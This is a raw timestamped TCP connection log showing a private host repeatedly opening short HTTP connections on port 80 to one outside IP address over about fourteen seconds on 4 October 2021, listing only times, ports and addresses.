Oct 4, 2021 16:02:46.047396898 CEST	50033	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:46.073585987 CEST	80	50032	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:46.073764086 CEST	50032	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:46.074017048 CEST	50032	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:46.074093103 CEST	50032	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:46.168153048 CEST	80	50033	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:46.205977917 CEST	80	50033	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:46.232347965 CEST	80	50032	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:46.271956921 CEST	80	50032	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:46.527935028 CEST	80	50033	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:46.528669119 CEST	80	50033	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:46.528768063 CEST	50033	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:46.557719946 CEST	80	50032	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:46.557887077 CEST	80	50032	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:46.557987928 CEST	50032	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:46.768306971 CEST	50035	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:46.795274973 CEST	50036	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:46.883143902 CEST	80	50035	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:46.883311033 CEST	50035	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:46.883614063 CEST	50035	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:46.883728027 CEST	50035	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:46.951513052 CEST	80	50036	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:46.951672077 CEST	50036	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:46.951944113 CEST	50036	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:46.955943108 CEST	50036	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:46.998181105 CEST	80	50035	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:47.037734985 CEST	80	50035	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:47.108467102 CEST	80	50036	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:47.151174068 CEST	80	50036	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:47.348397017 CEST	80	50035	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:47.348428011 CEST	80	50035	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:47.348507881 CEST	50035	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:47.463891029 CEST	80	50036	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:47.464020014 CEST	80	50036	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:47.468116045 CEST	50036	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:47.545396090 CEST	50038	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:47.660517931 CEST	80	50038	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:47.662297010 CEST	50038	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:47.662329912 CEST	50038	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:47.663763046 CEST	50038	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:47.776992083 CEST	80	50038	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:47.817727089 CEST	80	50038	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:47.867372036 CEST	50039	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:48.023571968 CEST	80	50039	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:48.023722887 CEST	50039	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:48.023938894 CEST	50039	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:48.024028063 CEST	50039	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:48.148348093 CEST	80	50038	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:48.148602962 CEST	80	50038	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:48.148890018 CEST	50038	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:48.180296898 CEST	80	50039	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:48.220345974 CEST	80	50039	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:48.341320992 CEST	50040	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:48.459171057 CEST	80	50040	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:48.459506035 CEST	50040	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:48.459849119 CEST	50040	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:48.459953070 CEST	50040	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:48.549822092 CEST	80	50039	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:48.550113916 CEST	80	50039	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:48.550468922 CEST	50039	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:48.577301025 CEST	80	50040	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:48.616724968 CEST	80	50040	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:48.789521933 CEST	50042	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:48.915317059 CEST	80	50040	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:48.915370941 CEST	80	50040	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:48.915486097 CEST	50040	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:48.945764065 CEST	80	50042	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:48.945951939 CEST	50042	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:48.946389914 CEST	50042	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:48.946404934 CEST	50042	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:49.103024006 CEST	80	50042	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:49.125379086 CEST	50043	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:49.143347025 CEST	80	50042	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:49.281837940 CEST	80	50043	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:49.282227039 CEST	50043	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:49.282660007 CEST	50043	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:49.282685041 CEST	50043	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:49.439213037 CEST	80	50043	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:49.448777914 CEST	80	50042	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:49.448813915 CEST	80	50042	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:49.449621916 CEST	50042	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:49.478353977 CEST	80	50043	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:49.699980974 CEST	50044	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:49.779196024 CEST	80	50043	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:49.779222012 CEST	80	50043	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:49.779411077 CEST	50043	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:49.859253883 CEST	80	50044	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:49.859766006 CEST	50044	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:49.859910011 CEST	50044	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:49.860100985 CEST	50044	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:49.991111994 CEST	50045	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:50.019972086 CEST	80	50044	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:50.059210062 CEST	80	50044	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:50.150221109 CEST	80	50045	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:50.150532961 CEST	50045	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:50.150732040 CEST	50045	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:50.150775909 CEST	50045	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:50.310811996 CEST	80	50045	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:50.350306988 CEST	80	50045	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:50.394778967 CEST	80	50044	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:50.395998955 CEST	80	50044	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:50.396217108 CEST	50044	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:50.633420944 CEST	80	50045	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:50.633454084 CEST	80	50045	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:50.633565903 CEST	50045	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:50.637631893 CEST	50046	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:50.752831936 CEST	80	50046	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:50.752945900 CEST	50046	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:50.753236055 CEST	50046	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:50.753242970 CEST	50046	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:50.813941956 CEST	50047	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:50.868787050 CEST	80	50046	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:50.909626961 CEST	80	50046	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:50.932533979 CEST	80	50047	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:50.932655096 CEST	50047	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:50.932872057 CEST	50047	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:50.932950974 CEST	50047	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:51.053793907 CEST	80	50047	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:51.090034008 CEST	80	50047	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:51.194152117 CEST	80	50046	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:51.194299936 CEST	80	50046	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:51.194434881 CEST	50046	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:51.377594948 CEST	80	50047	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:51.377616882 CEST	80	50047	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:51.377804041 CEST	50047	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:51.592255116 CEST	50048	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:51.625237942 CEST	50049	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:51.748492002 CEST	80	50048	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:51.750914097 CEST	50048	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:51.751152992 CEST	50048	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:51.751235008 CEST	50048	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:51.790271997 CEST	80	50049	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:51.790478945 CEST	50049	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:51.790783882 CEST	50049	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:51.790874958 CEST	50049	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:51.908533096 CEST	80	50048	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:51.947875023 CEST	80	50048	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:51.954025984 CEST	80	50049	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:51.989291906 CEST	80	50049	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:52.237699032 CEST	80	50048	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:52.237749100 CEST	80	50048	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:52.237934113 CEST	50048	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:52.299221039 CEST	80	50049	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:52.299246073 CEST	80	50049	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:52.299401999 CEST	50049	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:52.433638096 CEST	50050	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:52.530636072 CEST	50051	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:52.552630901 CEST	80	50050	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:52.552803040 CEST	50050	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:52.552983999 CEST	50050	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:52.553031921 CEST	50050	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:52.648508072 CEST	80	50051	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:52.648734093 CEST	50051	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:52.648891926 CEST	50051	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:52.648957014 CEST	50051	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:52.670752048 CEST	80	50050	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:52.710688114 CEST	80	50050	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:52.766582012 CEST	80	50051	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:52.806885004 CEST	80	50051	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:53.039659977 CEST	80	50050	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:53.039995909 CEST	80	50050	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:53.040102005 CEST	50050	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:53.132050037 CEST	80	50051	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:53.132078886 CEST	80	50051	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:53.132246971 CEST	50051	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:53.232980967 CEST	50052	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:53.341905117 CEST	50053	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:53.392342091 CEST	80	50052	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:53.392559052 CEST	50052	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:53.392812014 CEST	50052	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:53.392899036 CEST	50052	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:53.459445953 CEST	80	50053	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:53.459664106 CEST	50053	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:53.459924936 CEST	50053	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:53.460010052 CEST	50053	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:53.551815033 CEST	80	50052	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:53.577435017 CEST	80	50053	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:53.591494083 CEST	80	50052	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:53.616700888 CEST	80	50053	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:53.912867069 CEST	80	50053	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:53.913060904 CEST	80	50053	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:53.913119078 CEST	50053	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:53.920669079 CEST	80	50052	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:53.920866966 CEST	80	50052	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:53.920958996 CEST	50052	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:54.118961096 CEST	50054	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:54.175270081 CEST	50055	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:54.233748913 CEST	80	50054	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:54.235624075 CEST	50054	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:54.235857010 CEST	50054	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:54.235925913 CEST	50054	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:54.334630966 CEST	80	50055	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:54.334784985 CEST	50055	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:54.335001945 CEST	50055	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:54.335086107 CEST	50055	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:54.352571011 CEST	80	50054	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:54.391746998 CEST	80	50054	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:54.494262934 CEST	80	50055	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:54.534250021 CEST	80	50055	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:54.703422070 CEST	80	50054	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:54.703794003 CEST	80	50054	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:54.703887939 CEST	50054	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:54.915927887 CEST	50056	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:54.927628994 CEST	80	50055	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:54.927814960 CEST	80	50055	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:54.928682089 CEST	50055	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:55.075018883 CEST	80	50056	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:55.075220108 CEST	50056	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:55.075412989 CEST	50056	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:55.075489044 CEST	50056	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:55.190473080 CEST	50057	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:55.234488010 CEST	80	50056	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:55.274279118 CEST	80	50056	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:55.352797031 CEST	80	50057	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:55.352946997 CEST	50057	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:55.353225946 CEST	50057	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:55.353270054 CEST	50057	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:55.513649940 CEST	80	50057	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:55.554598093 CEST	80	50057	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:55.699817896 CEST	80	50056	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:55.699851990 CEST	80	50056	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:55.700067043 CEST	50056	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:55.886122942 CEST	80	50057	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:55.886148930 CEST	80	50057	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:55.886259079 CEST	50057	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:55.914727926 CEST	50058	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:56.071778059 CEST	80	50058	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:56.076225042 CEST	50058	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:56.076267004 CEST	50058	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:56.076271057 CEST	50058	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:56.233299017 CEST	50059	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:56.234940052 CEST	80	50058	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:56.274148941 CEST	80	50058	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:56.348213911 CEST	80	50059	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:56.349235058 CEST	50059	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:56.349723101 CEST	50059	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:56.350084066 CEST	50059	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:56.464314938 CEST	80	50059	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:56.503823996 CEST	80	50059	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:56.552653074 CEST	80	50058	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:56.552695990 CEST	80	50058	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:56.552807093 CEST	50058	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:56.780647039 CEST	50060	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:56.831428051 CEST	80	50059	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:56.831458092 CEST	80	50059	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:56.831717968 CEST	50059	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:56.939795971 CEST	80	50060	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:56.939945936 CEST	50060	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:56.940196991 CEST	50060	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:56.940264940 CEST	50060	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:57.081614971 CEST	50061	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:57.099214077 CEST	80	50060	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:57.139168978 CEST	80	50060	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:57.240911007 CEST	80	50061	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:57.244251966 CEST	50061	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:57.244517088 CEST	50061	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:57.244584084 CEST	50061	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:57.403744936 CEST	80	50061	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:57.443233967 CEST	80	50061	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:57.461374998 CEST	80	50060	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:57.461402893 CEST	80	50060	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:57.462161064 CEST	50060	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:57.688844919 CEST	50062	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:57.733551979 CEST	80	50061	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:57.737457991 CEST	80	50061	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:57.737806082 CEST	50061	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:57.806566954 CEST	80	50062	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:57.808576107 CEST	50062	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:57.808604002 CEST	50062	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:57.808608055 CEST	50062	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:57.926341057 CEST	80	50062	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:57.965877056 CEST	80	50062	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:58.085647106 CEST	50063	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:58.203274965 CEST	80	50063	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:58.204381943 CEST	50063	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:58.204768896 CEST	50063	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:58.205324888 CEST	50063	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:58.270605087 CEST	80	50062	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:58.270750999 CEST	80	50062	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:58.270891905 CEST	50062	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:58.322402000 CEST	80	50063	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:58.362709045 CEST	80	50063	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:58.499548912 CEST	50064	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:58.614214897 CEST	80	50064	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:58.614574909 CEST	50064	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:58.614763021 CEST	50064	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:58.614831924 CEST	50064	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:58.652410984 CEST	80	50063	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:58.652452946 CEST	80	50063	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:58.652839899 CEST	50063	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:58.729216099 CEST	80	50064	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:58.768996000 CEST	80	50064	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:58.878281116 CEST	50065	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:58.992999077 CEST	80	50065	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:58.993141890 CEST	50065	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:58.993364096 CEST	50065	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:58.993436098 CEST	50065	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:59.060307980 CEST	80	50064	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:59.060354948 CEST	80	50064	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:59.060570002 CEST	50064	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:59.107964039 CEST	80	50065	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:59.147690058 CEST	80	50065	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:59.251208067 CEST	50066	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:59.410274982 CEST	80	50066	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:59.410434008 CEST	50066	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:59.410707951 CEST	50066	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:59.410782099 CEST	50066	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:59.458815098 CEST	80	50065	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:59.458914995 CEST	80	50065	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:59.459124088 CEST	50065	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:59.569788933 CEST	80	50066	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:59.609229088 CEST	80	50066	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:59.665446997 CEST	50067	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:59.821856976 CEST	80	50067	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:59.822037935 CEST	50067	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:59.822372913 CEST	50067	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:59.822519064 CEST	50067	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:59.908371925 CEST	80	50066	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:59.908919096 CEST	80	50066	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:59.909029007 CEST	50066	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:59.978708982 CEST	80	50067	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:00.018441916 CEST	80	50067	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:00.095865011 CEST	50068	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:00.252449036 CEST	80	50068	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:00.252646923 CEST	50068	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:00.252928019 CEST	50068	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:00.253036022 CEST	50068	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:00.332356930 CEST	80	50067	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:00.332496881 CEST	80	50067	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:00.332915068 CEST	50067	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:00.409095049 CEST	80	50068	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:00.448561907 CEST	80	50068	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:00.580374002 CEST	50069	80	192.168.2.3	198.38.82.168
